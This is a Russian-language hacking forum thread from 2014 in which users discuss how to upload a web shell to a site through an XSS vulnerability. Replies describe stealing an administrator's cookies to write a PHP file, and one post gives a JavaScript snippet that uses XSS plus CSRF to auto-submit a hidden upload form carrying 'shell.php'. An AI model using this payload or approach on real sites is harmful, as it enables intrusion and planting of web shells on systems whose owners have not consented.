Помогите разобраться

Discussion in 'Песочница' started by Miner_QRK, 28 May 2014.

  1. Miner_QRK

    Miner_QRK New Member

    Joined:
    9 Feb 2014
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    Доброго времени суток все форумчане.
    Сегодня я задался таким вопросом "Как же всё таки заливать шеллы через xss уязвимость?"
    Знающих людей прошу отписаться, а так же выслушаю советы по закрытию дыр с xss уязвимостью :)

    Заранее благодарен :)
     
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Имея только XSS уязвимость - никак. Однако, через XSS можно получить доступ к возможностям, использовать которые может более привилегированный пользователь.
     
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    чисто теоретически, на практике еще не проверял....

    Предположим у нас есть заведомо известный движок, и мы знаем как в нем заливать шелл, к примеру есть факт редактирование файла *.php
    впариваем админу xss, которая спарсит у админа cookie, и с его куками пропускает до файла который производит запись файла *.php, нам остается только составить форму данных для запеси и передать скрипту.
     
    _________________________
  4. {iddqd}

    {iddqd} Member

    Joined:
    22 Dec 2011
    Messages:
    170
    Likes Received:
    99
    Reputations:
    2
  5. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Вот, почитай, интересно: http://www.xakep.ru/post/53356/
     
  6. Miner_QRK

    Miner_QRK New Member

    Joined:
    9 Feb 2014
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    Большое спасибо.
    На выходных примусь за прочтение данной литературы :)
     
  7. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Имея на руках лишь XSS, без примесей, шелл залить вы не сможете.

    А вот при наличии XSS + CSRF в форме аплоада - уже неплохие шансы.

    Лить придётся как-то так...

    Code:
    <script>document.writeln('<iframe id="iframe" src="/upload.php" width="0" height="0" onload="read()"></iframe>');
    function read(){
    var nameF = 'C:\shell.php';
    document.writeln('<form width="0" height="0" method="post" action="/upload.php">');
    document.writeln('<input type="text" name="file" class="form-control" id="inputFile" value="' + nameF + '" />');
    document.writeln('<input type="submit" name="submit" value="Upload" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
    }
    </script>
    
     
    _________________________
  8. UXOR

    UXOR Member

    Joined:
    16 Aug 2013
    Messages:
    44
    Likes Received:
    7
    Reputations:
    6
    можно на примере...не понятно зачем манипуляции,если ты уже админ